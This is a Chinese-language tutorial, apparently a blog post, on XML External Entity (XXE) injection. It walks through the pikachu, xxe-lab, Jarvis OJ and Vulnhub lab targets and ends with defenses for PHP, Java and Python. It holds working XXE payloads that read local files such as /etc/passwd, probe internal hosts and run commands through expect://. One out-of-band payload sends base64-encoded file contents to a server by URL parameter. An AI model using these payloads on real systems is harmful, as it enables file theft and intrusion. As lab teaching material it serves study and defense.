目录
CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
XXE 漏洞修复与防御方案-php,java,python-过滤及禁用
XML讲解
XML定义:XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML与HTML对比:
1.XML被设计用来传输和存储数据,焦点是数据的内容。HTML被设计为显示数据,及焦点是数据的外观。
2.XML旨在传输信息。而HTML旨在显示信息。
XXE漏洞
全称:XML External Entity Injection
xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
带来的危害有哪些:
1.DOS攻击
2.SSRF攻击
3.使用file协议读取任意文件
4.端口探测
5.执行系统命令
下面为一些脚本支持的协议
XML典型代码
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。
内部声明DTD <!DOCTYPE 根元素 [元素声明]> 外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> <!DOCTYPE note SYSTEM "Note.dtd"> 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
漏洞利用
在确认有XXE漏洞存在时,存在输入接口
如:pikachu靶场中xxe漏洞处
玩法-读取文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
//xxe为变量,读取test.txt,利用file协议,后面为文件所在位置
//输出出来
玩法-内网探针或攻击内网应用(触发漏洞地址)
实际应用中基本碰不到
可以判断对方是否存在该文件,及端口
前提条件
- 内网IP地址
- 开放端口
- 存在xxe漏洞
- 构造漏洞地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.80.1:80/test.txt" >
]>
<x>&rabbit;</x>
//这里后面应该为文件,不能为网址
玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
玩法-引入外部实体 DTD
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>
//evil2.dtd
<!ENTITY send SYSTEM "file:///d:/test.txt">
关系
前面几个实例都是结果进行了回显
无回显-读取文件(本地环境测试)
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>evil2.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;//相当于读了文件放在你指定地址的服务器上,所以日志是你指定服务器上的日志
打开pikachu靶场xxe所在的代码 默认vul\xxe\xxe_1.php
暂时注释箭头所处部分,就相当于无回显
打开apache的设置文件httpd.conf,customlog前有注释的去掉注释
在php扩展中开启log_config_module
打开access.log文件
进行base64解密得到文本内容 5oiR54ix5ZCD55OcIQ==
取消刚才的注释
利用:让对方访问你的网站,生成日志查看
协议-读文件(绕过)
参考文章:CTF XXE - MustaphaMond - 博客园 XML讲解,绕过等
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
靶场下载地址:https://github.com/c0ny1/xxe-lab
例:php-xxe
如何检测:(burp抓包send to spider输入关键字爬行查看)MIME type: XML
1.数据格式类型:如果发现有<user>test</user><pass>Mikasa</pass> 类型
若有回显,可以进行测试,随便输入标签看是否回显相应的值如<aa>dsdd<aa>,看是否回显dsdd
2.抓包发现 content-type中是 text/xml 或者 application/xml
3.更改Content-Type值看返回值
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
更改Content-Type值看返回值 原数据包:application/json 修改为:application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
下载地址:https://download.vulnhub.com/xxe/XXE.zip
下载解压以vm运行.ovf文件导入即可
(1)如图,为环境搭建好之后的状态,暂时什么都未知
(2)攻击机kali,查看ip
(3)使用nmap扫描网段,看到可疑IP,发现80端口开放
(4)浏览器尝试访问,成功
(5) 使用kali工具dirsearch对网站进行目录扫描,发现敏感文件robots.txt
下载使用:kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客_kali安装dirsearch
python3 dirsearch.py -u http://192.168.80.128 -e*
(6)访问192.168.159.223/robots.txt,再次发现两个敏感文件,依次访问
admin.php
由上面访问的结果来看,xxe文件可以访问,但是admin.php文件访问失败,但是文件存在,其中必定由猫腻,我们先对xxe页面进行渗透看看
1.burp抓包
2.构造payload,成功验证出存在XXE漏洞注入
3.因为前面扫描出存在admin.php文件,但是无法访问,我们可以通过这里的XXE注入,读取admin.php文件。构造如图,成功读取到admin.php源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "php://filter/read/convert.base64-encode/resource=admin.php">
]>
<root><name>&name;</name><password>1</password></root>
//使用php://filter/read/convert.base64-encode/resource=admin.php的好处就是不用考虑文件完整目录
4.base64解码
5.从php源码可找出又存在一个敏感文件,并可以通过得到的账号administhebest和密码登录,密码使用md5加密,解密得admin@123即可
6.尝试登录/xxe/admin.php,点击flag
因为当时burp抓包时是在xxe目录下查找到的,所以登录时要用xxe/admin.php
7.最后得到flag的网站,访问再次失败,直接再次使用XML注入获取源码即可,如图
base64解密
通过判断,这里得加密方式为base32,先base32解密后再使用base64解密,最后得出存在flag得路径
7.访问路径,base64解密
8.使用php语言写的,php在线运行得到flag为SAFCSP{xxe_is_so_easy}
xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
https://github.com/enjoiz/XXEinjector
7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园
XXE 漏洞修复与防御方案-php,java,python-过滤及禁用
方法一:禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方法二:过滤用户提交的XML数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC